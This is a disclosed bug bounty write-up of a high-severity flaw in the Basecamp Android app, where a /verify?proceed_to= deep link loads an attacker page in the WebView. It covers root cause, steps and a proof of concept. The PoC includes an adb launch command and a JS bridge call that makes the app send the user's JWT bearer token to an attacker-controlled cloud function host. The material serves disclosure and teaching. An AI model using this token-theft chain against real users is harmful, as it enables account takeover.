# Able to steal bearer token from deep link

Android app's /verify?proceed_to= deep link bypasses internal-URL check, redirecting WebView to attacker page that receives the user's JWT bearer token via native image viewer.

- Payout: $6,337
- Severity: high
- Program: Basecamp
- Found by: danielllewellyn
- Disclosed: 2022-03-27
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1372667
- Library page: https://bugbountylibrary.com/r/h1%3A1372667
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:high technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak

**Target:** Basecamp Android app (com.basecamp.bc3) deep link handler and JS native bridge
**Root cause:** The internal-URL validation special-cases URLs containing `/verify?` and replaces the URL with the attacker-controlled `proceed_to` query parameter without re-validating it, so an external URL is treated as internal and loaded in the WebView.
**Steps:**
1. Obtain victim account id (visible in any basecamp URL, e.g. https://3.basecamp.com/5218370/)
2. Craft deep link `https://3.basecamp.com/<accountId>/verify?proceed_to=<attacker URL>`
3. Trigger via adb: `adb shell am start -n com.basecamp.bc3/com.basecamp.bc3.activities.BasecampUrlFilterActivity https://3.basecamp.com/5218370/verify?proceed_to=https://attacker/attack.html` or via phishing email
4. Attacker page calls JS bridge: `NativeApp.openNativeImageViewer("[{'download_url':'<attacker>','preview_url':'<attacker>','caption':'ViewImage'}]", 0)`
5. App fetches preview_url with JWT Authorization header; attacker server logs the bearer token
**How found:** Code review of the deep link handler revealed the special-case branch for `/verify?` that swaps in the `proceed_to` parameter without re-checking internality; then inspecting the JS native bridge found openNativeImageViewer auto-fetches preview_url with auth headers.
**Exploitation:** Attacker needs victim account id (non-secret, in org URLs). Deliver deep link via phishing email or another app's intent. The /verify?proceed_to= bypass loads attacker HTML in the trusted WebView. The page invokes the exposed NativeApp.openNativeImageViewer bridge with attacker-controlled preview_url; the app automatically requests that URL with the user's JWT header, exfiltrating the token to attacker infrastructure without user interaction.
**Escalation:** Compromised user can be used to share links with other users who trust links from them, chaining the attack across accounts.
**Insight:** When an app special-cases a URL pattern (like /verify?) to rewrite the target, check whether the rewritten URL is re-validated — and audit JS native bridges for methods that auto-attach auth headers to caller-supplied URLs (image previews, downloads).

## Proof of concept (copied exactly from the original report)

**ADB command launching deep link with proceed_to**

```
adb shell am start -n com.basecamp.bc3/com.basecamp.bc3.activities.BasecampUrlFilterActivity https://3.basecamp.com/5218370/verify?proceed_to=https://haystack-production-storage.s3.eu-west-2.amazonaws.com/attack.html
```

**JS bridge script exfiltrating JWT via preview_url**

```
<script>NativeApp.openNativeImageViewer("[{'download_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'preview_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'caption':'ViewImage'}]"
```

